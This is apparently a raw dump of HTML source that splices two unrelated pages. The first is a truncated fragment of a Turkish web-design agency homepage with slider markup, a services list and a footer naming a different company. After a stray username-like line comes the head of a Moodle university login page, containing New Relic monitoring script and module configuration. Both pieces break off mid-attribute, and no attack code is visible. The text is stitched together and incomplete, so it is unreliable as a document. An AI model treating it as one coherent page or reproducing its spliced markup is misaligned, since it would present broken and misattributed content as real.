data-ease="easeOutBack" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/masterslider/slide1/ok/2/4.png" alt="layer" class="ms-layer" style="bottom: 184px; left: 428px; z-index: 4;" data-type="image" data-effect="left(short)" data-duration="1000" data-delay="1200" data-ease="easeOutBack" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/masterslider/slide1/ok/3/2.png" alt="layer" class="ms-layer" style="bottom: 201px; left: 482px; z-index: 3;" data-type="image" data-effect="left(short)" data-duration="1000" data-delay="1200" data-ease="easeOutBack" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/masterslider/slide1/ok/3/3.png" alt="layer" class="ms-layer" style="bottom: 396px; left: 523px; z-index: 3;" data-type="image" data-effect="left(short)" data-duration="1000" data-delay="1300" data-ease="easeOutBack" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/masterslider/slide1/ok/3/4.png" alt="layer" class="ms-layer" style="bottom: 249px; left: 554px; z-index: 2;" data-type="image" data-effect="left(short)" data-duration="1000" data-delay="1400" data-ease="easeOutBack" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/masterslider/slide1/ok/10.png" alt="layer" class="ms-layer" style="bottom: 39px; left: 171px; z-index: 1;" data-type="image" data-effect="left(short)" data-duration="1000" data-delay="300" data-ease="easeOutBack" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/masterslider/slide1/ok/4/2.png" alt="layer" class="ms-layer" style="bottom: 266px; left: 608px; z-index: 1;" data-type="image" data-effect="skewbottom(10,30)" data-duration="1000" data-delay="1500" data-ease="easeOutQuart" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/masterslider/slide1/ok/4/5.png" alt="layer" class="ms-layer" style="bottom: 359px; left: 397px; z-index: 1;" data-type="image" data-effect="skewbottom(10,30)" data-duration="1000" data-delay="1500" data-ease="easeOutQuart" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/masterslider/slide1/ok/4/6.png" alt="layer" class="ms-layer" style="bottom: 295px; left: 277px; z-index: 1;" data-type="image" data-effect="skewbottom(10,30)" data-duration="1000" data-delay="1500" data-ease="easeOutQuart" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/masterslider/slide1/ok/4/7.png" alt="layer" class="ms-layer" style="bottom: 428px; left: 509px; z-index: 1; " data-type="image" data-effect="skewbottom(10,30)" data-duration="1000" data-delay="1500" data-ease="easeOutQuart" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/masterslider/slide1/ok/lane.png" alt="layer" class="ms-layer" style="bottom: 57px; left: 272px; z-index: 1;" data-type="image" data-effect="skewleft(10,30)" data-duration="1000" data-delay="400" data-ease="easeOutQuart" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/masterslider/slide1/ok/t1.png" alt="layer" class="ms-layer" style="bottom: 15px; left: 335px; z-index: 1;" data-type="image" data-effect="skewleft(10,30)" data-duration="1000" data-delay="1000" data-ease="easeOutQuart" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/masterslider/slide1/ok/t2.png" alt="layer" class="ms-layer" style="bottom: 76px; left: 459px; z-index: 1;" data-type="image" data-effect="skewleft(10,30)" data-duration="1000" data-delay="1200" data-ease="easeOutQuart" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/masterslider/slide1/ok/t3.png" alt="layer" class="ms-layer" style="bottom: 146px; left: 566px; z-index: 1;" data-type="image" data-effect="skewleft(10,30)" data-duration="1000" data-delay="1300" data-ease="easeOutQuart" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/masterslider/slide1/ok/t4.png" alt="layer" class="ms-layer" style="bottom: 214px; left: 694px; z-index: 1;" data-type="image" data-effect="skewleft(10,30)" data-duration="1000" data-delay="1300" data-ease="easeOutQuart" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <h3 class="ms-layer t1" style="left: 216px; bottom: 119px;" data-type="text" data-effect="left(short)" data-duration="1000" data-delay="600"> </h3> <h3 class="ms-layer t1" style="left: 334px;bottom: 202px;" data-type="text" data-effect="left(short)" data-duration="1000" data-delay="900" data-ease="easeInOutQuart"> </h3> <h3 class="ms-layer t2" style="left: 607px;bottom: 380px;" data-type="text" data-effect="skewbottom(10,30)" data-duration="1000" data-delay="1500" data-ease="easeInOutQuart"> </h3> <h3 class="ms-layer t1" style="left: 470px; bottom: 258px;" data-type="text" data-effect="left(short)" data-duration="1000" data-delay="1200"> </h3> <h3 class="ms-layer test" style="left: 359px;bottom: 38px;" data-type="text" data-delay="1200" data-effect="bottom(250)" data-ease="easeInOutQuart" data-duration="1800"> </h3> <h3 class="ms-layer test" style="left: 482px;bottom: 100px;" data-type="text" data-delay="1200" data-effect="bottom(250)" data-ease="easeInOutQuart" data-duration="1800"> </h3> <h3 class="ms-layer test" style="left: 590px;bottom: 168px;" data-type="text" data-delay="1200" data-effect="bottom(250)" data-ease="easeInOutQuart" data-duration="1800"> </h3> <h3 class="ms-layer test" style="left: 718px;bottom: 236px;" data-type="text" data-delay="1200" data-effect="bottom(250)" data-ease="easeInOutQuart" data-duration="1800"> </h3> </div> <div class="ms-slide slide-2" data-delay="10"> <!-- slide background --> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/masterslider/slide2/bg.jpg" alt="Slide3 Background" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/masterslider/slide2/part-1.png" alt="Snow particle 1" style="left:326px; top:372px;" class="ms-layer" data-type="image" data-ease="easeOutExpo" data-duration="8000" data-delay="200" data-effect="scalefrom(0.4,0.4,180,300,br)" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/masterslider/slide2/part-2.png" alt="Snow particle 2" style="left:324px; top:331px;" class="ms-layer" data-type="image" data-ease="easeOutExpo" data-delay="150" data-duration="8200" data-effect="scalefrom(0.3,0.3,180,300,br)" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/masterslider/slide2/part-3.png" alt="Snow particle 3" style="left:301px; top:311px;" class="ms-layer" data-type="image" data-ease="easeOutExpo" data-duration="7400" data-effect="scalefrom(0.3,0.3,180,300,br)" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <img src="https://www.vairosoft.com/assets/public/masterslider/blank.gif" data-src="https://www.vairosoft.com/assets/public/masterslider/slide2/adam1.png" alt="A guy with snowboard" style="left:170px; top:153px;" class="ms-layer" data-type="image" data-delay="0" data-ease="easeOutExpo" data-duration="5000" data-effect="scalefrom(0.7,0.7,380,450,br,false)" pagespeed_url_hash="383847117" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"/> <h3 class="ms-layer title1" style="left: 570px;top: 180px;" data-type="text" data-delay="1750" data-effect="left(250)" data-ease="easeInOutQuart" data-duration="2400"> </h3> <h3 class="ms-layer title2" style="left: 620px;top: 250px;" data-type="text" data-delay="2000" data-effect="left(250)" data-ease="easeInOutQuart" data-duration="2400"> </h3> <h3 class="ms-layer title3" style="left: 540px;top: 320px;" data-type="text" data-delay="2800" data-effect="bottom(250)" data-ease="easeInOutQuart" data-duration="2400"> </h3> </div> </div> <!-- end of masterslider --> <script type="text/javascript">var slider=new MasterSlider();if($(window).width()<=1366&&$(window).width()>=992){var height=670;} else{var height=700;} slider.setup('masterslider',{width:980,height:height,autoplay:true,fullwidth:true,centerControls:false,speed:18});slider.control('arrows');</script> <div class="container"> <div class="how-make"> <div class="neleryapiyoruz">Biz Neynirik<small>DIJITAL DUNYAYA HAYAT VEREN COZUMLER</small></div> <div class="row"> <div class="col-lg-5 "> <div class="media"> <a class="pull-left" href="https://www.vairosoft.com/hizmetlerimiz#1"> <img alt="Ozel Web Yaz?l?mlar?" class="media-object" src="assets/public/img/icon/network.png" pagespeed_url_hash="2624423922" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"> </a> <div class="media-body text-left"> <h2 class="media-heading"><a href="https://www.vairosoft.com/hizmetlerimiz#1">Ozel Web Yaz?l?mlar?</a></h2> Ihtiyaclar?n?za yonelik ozel yaz?l?mlar uretiyoruz... </div> </div> </div> <div class="col-lg-5 col-lg-offset-2"> <div class="media"> <a class="pull-right" href="https://www.vairosoft.com/hizmetlerimiz#4"> <img alt="Mobil Uygulama Gelistirme" class="media-object" src="assets/public/img/icon/mobile.png" pagespeed_url_hash="3906589564" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"> </a> <div class="media-body text-right"> <h2 class="media-heading"><a href="https://www.vairosoft.com/hizmetlerimiz#4">Mobil Uygulama Gelistirme</a></h2> Size ozel Android ve IOS uygulamalar? gelistiriyoruz... </div> </div> </div> <div class="col-lg-5"> <div class="media"> <a class="pull-left" href="https://www.vairosoft.com/hizmetlerimiz#2"> <img alt="Web Tasar?m" class="media-object" src="assets/public/img/icon/design.png" pagespeed_url_hash="499719948" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"> </a> <div class="media-body text-left"> <h2 class="media-heading"><a href="https://www.vairosoft.com/hizmetlerimiz#2">Web Tasar?m</a></h2> Internet standartlar?na uyumlu, kullan?c? dostu tasar?mlar... </div> </div> </div> <div class="col-lg-5 col-lg-offset-2"> <div class="media"> <a class="pull-right" href="https://www.vairosoft.com/hizmetlerimiz#5"> <img alt="SEO" class="media-object" src="assets/public/img/icon/seo.png" pagespeed_url_hash="2422097077" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"> </a> <div class="media-body text-right"> <h2 class="media-heading"><a href="https://www.vairosoft.com/hizmetlerimiz#5">Arama Motoru Optimizasyonu</a></h2> Siteniz, Google, Yandex, Bing arama motorlar?nda ust s?ralarda yer als?n... </div> </div> </div> <div class="col-lg-5"> <div class="media"> <a class="pull-left" href="https://www.vairosoft.com/hizmetlerimiz#3"> <img alt="Internet Reklamc?l?g?" class="media-object" src="assets/public/img/icon/target.png" pagespeed_url_hash="2288834043" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"> </a> <div class="media-body text-left"> <h2 class="media-heading"><a href="https://www.vairosoft.com/hizmetlerimiz#3">Internet Reklamc?l?g?</a></h2> Google Adwords, Facebook Ads, Yandex Direct reklam aglar?nda yerinizi al?n... </div> </div> </div> <div class="col-lg-5 col-lg-offset-2"> <div class="media"> <a class="pull-right" href="https://www.vairosoft.com/hizmetlerimiz#6"> <img alt="Sosyal Medya Uygulamalar?" class="media-object" src="assets/public/img/icon/social.png" pagespeed_url_hash="58202655" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"> </a> <div class="media-body text-right"> <h2 class="media-heading"><a href="https://www.vairosoft.com/hizmetlerimiz#6">Sosyal Medya Uygulamalar?</a></h2> Hayalinizi Facebook ve Twitter uygulamas?na donusturun... </div> </div> </div> </div> </div> </div> <div class="botbg big"> <div class="container"> <div class="row"> <div class="col-lg-7"><p>Bultenimize abone olun, sitemizdeki guncellemelerden ve yeni yaz?l?mlardan ilk sizin haberiniz olsun!</p></div> <div class="col-lg-5"> <form id="bulten" class="form-inline" role="form" method="post" action="post"> <div class="form-group"> <input id="b" name="bulten" type="email" class="form-control required" placeholder="E-Posta adresinizi buraya giriniz..."> <button id="bultensub" type="submit" name="bultenkabul" value="1" class="btn btn-vairo">ABONE OL!</button> </div> </form> </div> <img class="arrow visible-lg" src="https://www.vairosoft.com/assets/public/img/arrow.png" alt="abone ol" pagespeed_url_hash="3533923121" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"> </div> </div> <div class="gettopwrap"><a class="gettop" id="goToTop" href="#"></a></div> </div> <script>$(document).ready(function(){$('#bulten').validate({errorPlacement:function(error,element){return true;}});});</script> <footer> <div class="container"> <div class="col-sm-8"> <div class="footleft clearfix"> <img alt="web tasar?m ankara" id="logo" title="web tasar?m ankara" src="" pagespeed_url_hash="582463774" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"> <ul class="list-inline list-unstyled"> <li style="color:#b6b6b6;">© 2015 KomputerService | Tum Haklar? Sakl?d?r</li> </ul> <ul class="list-inline list-unstyled"> <li><a href="https://www.vairosoft.com/kurumsal">KURUMSAL</a></li><li><a href="https://www.vairosoft.com/hizmetlerimiz">HIZMETLERIMIZ</a></li><li><a href="https://www.vairosoft.com/hazir-cozumler">HAZIR COZUMLER</a></li><li><a href="https://www.vairosoft.com/referanslar">REFERANSLAR</a></li><li><strong><a href="https://www.vairosoft.com/" title="Web Tasar?m">WEB TASARIM ANKARA</a></strong></li><li><a href="https://www.vairosoft.com/iletisim">ILETISIM</a></li> </ul> <ul class="list-inline list-unstyled standartlar"> <li><img src="https://www.vairosoft.com/assets/public/img/html5-logo.png" alt="HTML5" pagespeed_url_hash="826187752" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"></li> <li><img src="https://www.vairosoft.com/assets/public/img/css3-logo.png" alt="CSS3" pagespeed_url_hash="987198328" onload="pagespeed.CriticalImages.checkImageForCriticality(this);"></li> <li><img src="https://www.vairosoft.com/assets/public/img/w3c-logo.png" alt="W3C" pagespeed_url_hash="1132793179" onload="pagespeed.CriticalImages.checkImageForCritic
thewebdeveloper2017
<!DOCTYPE html> <html dir="ltr" lang="en" xml:lang="en"> <head> <!-- front --> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>iLearn: Log in to the site</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /><script type="text/javascript">window.NREUM||(NREUM={}),__nr_require=function(e,t,n){function r(n){if(!t[n]){var o=t[n]={exports:{}};e[n][0].call(o.exports,function(t){var o=e[n][1][t];return r(o||t)},o,o.exports)}return t[n].exports}if("function"==typeof __nr_require)return __nr_require;for(var o=0;o<n.length;o++)r(n[o]);return r}({1:[function(e,t,n){function r(){}function o(e,t,n){return function(){return i(e,[(new Date).getTime()].concat(u(arguments)),t?null:this,n),t?void 0:this}}var i=e("handle"),a=e(2),u=e(3),c=e("ee").get("tracer"),f=NREUM;"undefined"==typeof window.newrelic&&(newrelic=f);var s=["setPageViewName","setCustomAttribute","setErrorHandler","finished","addToTrace","inlineHit","addRelease"],l="api-",p=l+"ixn-";a(s,function(e,t){f[t]=o(l+t,!0,"api")}),f.addPageAction=o(l+"addPageAction",!0),f.setCurrentRouteName=o(l+"routeName",!0),t.exports=newrelic,f.interaction=function(){return(new r).get()};var d=r.prototype={createTracer:function(e,t){var n={},r=this,o="function"==typeof t;return i(p+"tracer",[Date.now(),e,n],r),function(){if(c.emit((o?"":"no-")+"fn-start",[Date.now(),r,o],n),o)try{return t.apply(this,arguments)}finally{c.emit("fn-end",[Date.now()],n)}}}};a("setName,setAttribute,save,ignore,onEnd,getContext,end,get".split(","),function(e,t){d[t]=o(p+t)}),newrelic.noticeError=function(e){"string"==typeof e&&(e=new Error(e)),i("err",[e,(new Date).getTime()])}},{}],2:[function(e,t,n){function r(e,t){var n=[],r="",i=0;for(r in e)o.call(e,r)&&(n[i]=t(r,e[r]),i+=1);return n}var o=Object.prototype.hasOwnProperty;t.exports=r},{}],3:[function(e,t,n){function r(e,t,n){t||(t=0),"undefined"==typeof n&&(n=e?e.length:0);for(var r=-1,o=n-t||0,i=Array(o<0?0:o);++r<o;)i[r]=e[t+r];return i}t.exports=r},{}],ee:[function(e,t,n){function r(){}function o(e){function t(e){return e&&e instanceof r?e:e?c(e,u,i):i()}function n(n,r,o){if(!p.aborted){e&&e(n,r,o);for(var i=t(o),a=v(n),u=a.length,c=0;c<u;c++)a[c].apply(i,r);var f=s[w[n]];return f&&f.push([y,n,r,i]),i}}function d(e,t){b[e]=v(e).concat(t)}function v(e){return b[e]||[]}function g(e){return l[e]=l[e]||o(n)}function m(e,t){f(e,function(e,n){t=t||"feature",w[n]=t,t in s||(s[t]=[])})}var b={},w={},y={on:d,emit:n,get:g,listeners:v,context:t,buffer:m,abort:a,aborted:!1};return y}function i(){return new r}function a(){(s.api||s.feature)&&(p.aborted=!0,s=p.backlog={})}var u="nr@context",c=e("gos"),f=e(2),s={},l={},p=t.exports=o();p.backlog=s},{}],gos:[function(e,t,n){function r(e,t,n){if(o.call(e,t))return e[t];var r=n();if(Object.defineProperty&&Object.keys)try{return Object.defineProperty(e,t,{value:r,writable:!0,enumerable:!1}),r}catch(i){}return e[t]=r,r}var o=Object.prototype.hasOwnProperty;t.exports=r},{}],handle:[function(e,t,n){function r(e,t,n,r){o.buffer([e],r),o.emit(e,t,n)}var o=e("ee").get("handle");t.exports=r,r.ee=o},{}],id:[function(e,t,n){function r(e){var t=typeof e;return!e||"object"!==t&&"function"!==t?-1:e===window?0:a(e,i,function(){return o++})}var o=1,i="nr@id",a=e("gos");t.exports=r},{}],loader:[function(e,t,n){function r(){if(!h++){var e=y.info=NREUM.info,t=l.getElementsByTagName("script")[0];if(setTimeout(f.abort,3e4),!(e&&e.licenseKey&&e.applicationID&&t))return f.abort();c(b,function(t,n){e[t]||(e[t]=n)}),u("mark",["onload",a()],null,"api");var n=l.createElement("script");n.src="https://"+e.agent,t.parentNode.insertBefore(n,t)}}function o(){"complete"===l.readyState&&i()}function i(){u("mark",["domContent",a()],null,"api")}function a(){return(new Date).getTime()}var u=e("handle"),c=e(2),f=e("ee"),s=window,l=s.document,p="addEventListener",d="attachEvent",v=s.XMLHttpRequest,g=v&&v.prototype;NREUM.o={ST:setTimeout,CT:clearTimeout,XHR:v,REQ:s.Request,EV:s.Event,PR:s.Promise,MO:s.MutationObserver},e(1);var m=""+location,b={beacon:"bam.nr-data.net",errorBeacon:"bam.nr-data.net",agent:"js-agent.newrelic.com/nr-1016.min.js"},w=v&&g&&g[p]&&!/CriOS/.test(navigator.userAgent),y=t.exports={offset:a(),origin:m,features:{},xhrWrappable:w};l[p]?(l[p]("DOMContentLoaded",i,!1),s[p]("load",r,!1)):(l[d]("onreadystatechange",o),s[d]("onload",r)),u("mark",["firstbyte",a()],null,"api");var h=0},{}]},{},["loader"]);</script> <meta name="keywords" content="moodle, iLearn: Log in to the site" /> <link rel="stylesheet" type="text/css" href="https://ilearn.mq.edu.au/theme/yui_combo.php?r1487942275&rollup/3.17.2/yui-moodlesimple-min.css" /><script id="firstthemesheet" type="text/css">/** Required in order to fix style inclusion problems in IE with YUI **/</script><link rel="stylesheet" type="text/css" href="https://ilearn.mq.edu.au/theme/styles.php/mqu/1487942275/all" /> <script type="text/javascript"> //<![CDATA[ var M = {}; M.yui = {}; M.pageloadstarttime = new Date(); M.cfg = {"wwwroot":"https:\/\/ilearn.mq.edu.au","sesskey":"mDL5SddUvA","loadingicon":"https:\/\/ilearn.mq.edu.au\/theme\/image.php\/mqu\/core\/1487942275\/i\/loading_small","themerev":"1487942275","slasharguments":1,"theme":"mqu","jsrev":"1487942275","admin":"admin","svgicons":true};var yui1ConfigFn = function(me) {if(/-skin|reset|fonts|grids|base/.test(me.name)){me.type='css';me.path=me.path.replace(/\.js/,'.css');me.path=me.path.replace(/\/yui2-skin/,'/assets/skins/sam/yui2-skin')}}; var yui2ConfigFn = function(me) {var parts=me.name.replace(/^moodle-/,'').split('-'),component=parts.shift(),module=parts[0],min='-min';if(/-(skin|core)$/.test(me.name)){parts.pop();me.type='css';min=''};if(module){var filename=parts.join('-');me.path=component+'/'+module+'/'+filename+min+'.'+me.type}else me.path=component+'/'+component+'.'+me.type}; YUI_config = {"debug":false,"base":"https:\/\/ilearn.mq.edu.au\/lib\/yuilib\/3.17.2\/","comboBase":"https:\/\/ilearn.mq.edu.au\/theme\/yui_combo.php?r1487942275&","combine":true,"filter":null,"insertBefore":"firstthemesheet","groups":{"yui2":{"base":"https:\/\/ilearn.mq.edu.au\/lib\/yuilib\/2in3\/2.9.0\/build\/","comboBase":"https:\/\/ilearn.mq.edu.au\/theme\/yui_combo.php?r1487942275&","combine":true,"ext":false,"root":"2in3\/2.9.0\/build\/","patterns":{"yui2-":{"group":"yui2","configFn":yui1ConfigFn}}},"moodle":{"name":"moodle","base":"https:\/\/ilearn.mq.edu.au\/theme\/yui_combo.php?m\/1487942275\/","combine":true,"comboBase":"https:\/\/ilearn.mq.edu.au\/theme\/yui_combo.php?r1487942275&","ext":false,"root":"m\/1487942275\/","patterns":{"moodle-":{"group":"moodle","configFn":yui2ConfigFn}},"filter":null,"modules":{"moodle-core-actionmenu":{"requires":["base","event","node-event-simulate"]},"moodle-core-blocks":{"requires":["base","node","io","dom","dd","dd-scroll","moodle-core-dragdrop","moodle-core-notification"]},"moodle-core-checknet":{"requires":["base-base","moodle-core-notification-alert","io-base"]},"moodle-core-chooserdialogue":{"requires":["base","panel","moodle-core-notification"]},"moodle-core-dock":{"requires":["base","node","event-custom","event-mouseenter","event-resize","escape","moodle-core-dock-loader","moodle-core-event"]},"moodle-core-dock-loader":{"requires":["escape"]},"moodle-core-dragdrop":{"requires":["base","node","io","dom","dd","event-key","event-focus","moodle-core-notification"]},"moodle-core-event":{"requires":["event-custom"]},"moodle-core-formautosubmit":{"requires":["base","event-key"]},"moodle-core-formchangechecker":{"requires":["base","event-focus","moodle-core-event"]},"moodle-core-handlebars":{"condition":{"trigger":"handlebars","when":"after"}},"moodle-core-languninstallconfirm":{"requires":["base","node","moodle-core-notification-confirm","moodle-core-notification-alert"]},"moodle-core-lockscroll":{"requires":["plugin","base-build"]},"moodle-core-maintenancemodetimer":{"requires":["base","node"]},"moodle-core-notification":{"requires":["moodle-core-notification-dialogue","moodle-core-notification-alert","moodle-core-notification-confirm","moodle-core-notification-exception","moodle-core-notification-ajaxexception"]},"moodle-core-notification-dialogue":{"requires":["base","node","panel","escape","event-key","dd-plugin","moodle-core-widget-focusafterclose","moodle-core-lockscroll"]},"moodle-core-notification-alert":{"requires":["moodle-core-notification-dialogue"]},"moodle-core-notification-confirm":{"requires":["moodle-core-notification-dialogue"]},"moodle-core-notification-exception":{"requires":["moodle-core-notification-dialogue"]},"moodle-core-notification-ajaxexception":{"requires":["moodle-core-notification-dialogue"]},"moodle-core-popuphelp":{"requires":["moodle-core-tooltip"]},"moodle-core-session-extend":{"requires":["base","node","io-base","panel","dd-plugin"]},"moodle-core-tooltip":{"requires":["base","node","io-base","moodle-core-notification-dialogue","json-parse","widget-position","widget-position-align","event-outside","cache-base"]},"moodle-core_availability-form":{"requires":["base","node","event","panel","moodle-core-notification-dialogue","json"]},"moodle-backup-backupselectall":{"requires":["node","event","node-event-simulate","anim"]},"moodle-backup-confirmcancel":{"requires":["node","node-event-simulate","moodle-core-notification-confirm"]},"moodle-calendar-info":{"requires":["base","node","event-mouseenter","event-key","overlay","moodle-calendar-info-skin"]},"moodle-course-categoryexpander":{"requires":["node","event-key"]},"moodle-course-dragdrop":{"requires":["base","node","io","dom","dd","dd-scroll","moodle-core-dragdrop","moodle-core-notification","moodle-course-coursebase","moodle-course-util"]},"moodle-course-formatchooser":{"requires":["base","node","node-event-simulate"]},"moodle-course-management":{"requires":["base","node","io-base","moodle-core-notification-exception","json-parse","dd-constrain","dd-proxy","dd-drop","dd-delegate","node-event-delegate"]},"moodle-course-modchooser":{"requires":["moodle-core-chooserdialogue","moodle-course-coursebase"]},"moodle-course-toolboxes":{"requires":["node","base","event-key","node","io","moodle-course-coursebase","moodle-course-util"]},"moodle-course-util":{"requires":["node"],"use":["moodle-course-util-base"],"submodules":{"moodle-course-util-base":{},"moodle-course-util-section":{"requires":["node","moodle-course-util-base"]},"moodle-course-util-cm":{"requires":["node","moodle-course-util-base"]}}},"moodle-form-dateselector":{"requires":["base","node","overlay","calendar"]},"moodle-form-passwordunmask":{"requires":["node","base"]},"moodle-form-shortforms":{"requires":["node","base","selector-css3","moodle-core-event"]},"moodle-form-showadvanced":{"requires":["node","base","selector-css3"]},"moodle-core_message-messenger":{"requires":["escape","handlebars","io-base","moodle-core-notification-ajaxexception","moodle-core-notification-alert","moodle-core-notification-dialogue","moodle-core-notification-exception"]},"moodle-core_message-deletemessage":{"requires":["node","event"]},"moodle-question-chooser":{"requires":["moodle-core-chooserdialogue"]},"moodle-question-preview":{"requires":["base","dom","event-delegate","event-key","core_question_engine"]},"moodle-question-qbankmanager":{"requires":["node","selector-css3"]},"moodle-question-searchform":{"requires":["base","node"]},"moodle-availability_completion-form":{"requires":["base","node","event","moodle-core_availability-form"]},"moodle-availability_date-form":{"requires":["base","node","event","io","moodle-core_availability-form"]},"moodle-availability_grade-form":{"requires":["base","node","event","moodle-core_availability-form"]},"moodle-availability_group-form":{"requires":["base","node","event","moodle-core_availability-form"]},"moodle-availability_grouping-form":{"requires":["base","node","event","moodle-core_availability-form"]},"moodle-availability_profile-form":{"requires":["base","node","event","moodle-core_availability-form"]},"moodle-qtype_ddimageortext-dd":{"requires":["node","dd","dd-drop","dd-constrain"]},"moodle-qtype_ddimageortext-form":{"requires":["moodle-qtype_ddimageortext-dd","form_filepicker"]},"moodle-qtype_ddmarker-dd":{"requires":["node","event-resize","dd","dd-drop","dd-constrain","graphics"]},"moodle-qtype_ddmarker-form":{"requires":["moodle-qtype_ddmarker-dd","form_filepicker","graphics","escape"]},"moodle-qtype_ddwtos-dd":{"requires":["node","dd","dd-drop","dd-constrain"]},"moodle-mod_assign-history":{"requires":["node","transition"]},"moodle-mod_attendance-groupfilter":{"requires":["base","node"]},"moodle-mod_dialogue-autocomplete":{"requires":["base","node","json-parse","autocomplete","autocomplete-filters","autocomplete-highlighters","event","event-key"]},"moodle-mod_dialogue-clickredirector":{"requires":["base","node","json-parse","clickredirector","clickredirector-filters","clickredirector-highlighters","event","event-key"]},"moodle-mod_dialogue-userpreference":{"requires":["base","node","json-parse","userpreference","userpreference-filters","userpreference-highlighters","event","event-key"]},"moodle-mod_forum-subscriptiontoggle":{"requires":["base-base","io-base"]},"moodle-mod_oublog-savecheck":{"requires":["base","node","io","panel","moodle-core-notification-alert"]},"moodle-mod_oublog-tagselector":{"requires":["base","node","autocomplete","autocomplete-filters","autocomplete-highlighters"]},"moodle-mod_quiz-autosave":{"requires":["base","node","event","event-valuechange","node-event-delegate","io-form"]},"moodle-mod_quiz-dragdrop":{"requires":["base","node","io","dom","dd","dd-scroll","moodle-core-dragdrop","moodle-core-notification","moodle-mod_quiz-quizbase","moodle-mod_quiz-util-base","moodle-mod_quiz-util-page","moodle-mod_quiz-util-slot","moodle-course-util"]},"moodle-mod_quiz-modform":{"requires":["base","node","event"]},"moodle-mod_quiz-questionchooser":{"requires":["moodle-core-chooserdialogue","moodle-mod_quiz-util","querystring-parse"]},"moodle-mod_quiz-quizbase":{"requires":["base","node"]},"moodle-mod_quiz-quizquestionbank":{"requires":["base","event","node","io","io-form","yui-later","moodle-question-qbankmanager","moodle-core-notification-dialogue"]},"moodle-mod_quiz-randomquestion":{"requires":["base","event","node","io","moodle-core-notification-dialogue"]},"moodle-mod_quiz-repaginate":{"requires":["base","event","node","io","moodle-core-notification-dialogue"]},"moodle-mod_quiz-toolboxes":{"requires":["base","node","event","event-key","io","moodle-mod_quiz-quizbase","moodle-mod_quiz-util-slot","moodle-core-notification-ajaxexception"]},"moodle-mod_quiz-util":{"requires":["node"],"use":["moodle-mod_quiz-util-base"],"submodules":{"moodle-mod_quiz-util-base":{},"moodle-mod_quiz-util-slot":{"requires":["node","moodle-mod_quiz-util-base"]},"moodle-mod_quiz-util-page":{"requires":["node","moodle-mod_quiz-util-base"]}}},"moodle-message_airnotifier-toolboxes":{"requires":["base","node","io"]},"moodle-filter_glossary-autolinker":{"requires":["base","node","io-base","json-parse","event-delegate","overlay","moodle-core-event","moodle-core-notification-alert","moodle-core-notification-exception","moodle-core-notification-ajaxexception"]},"moodle-filter_mathjaxloader-loader":{"requires":["moodle-core-event"]},"moodl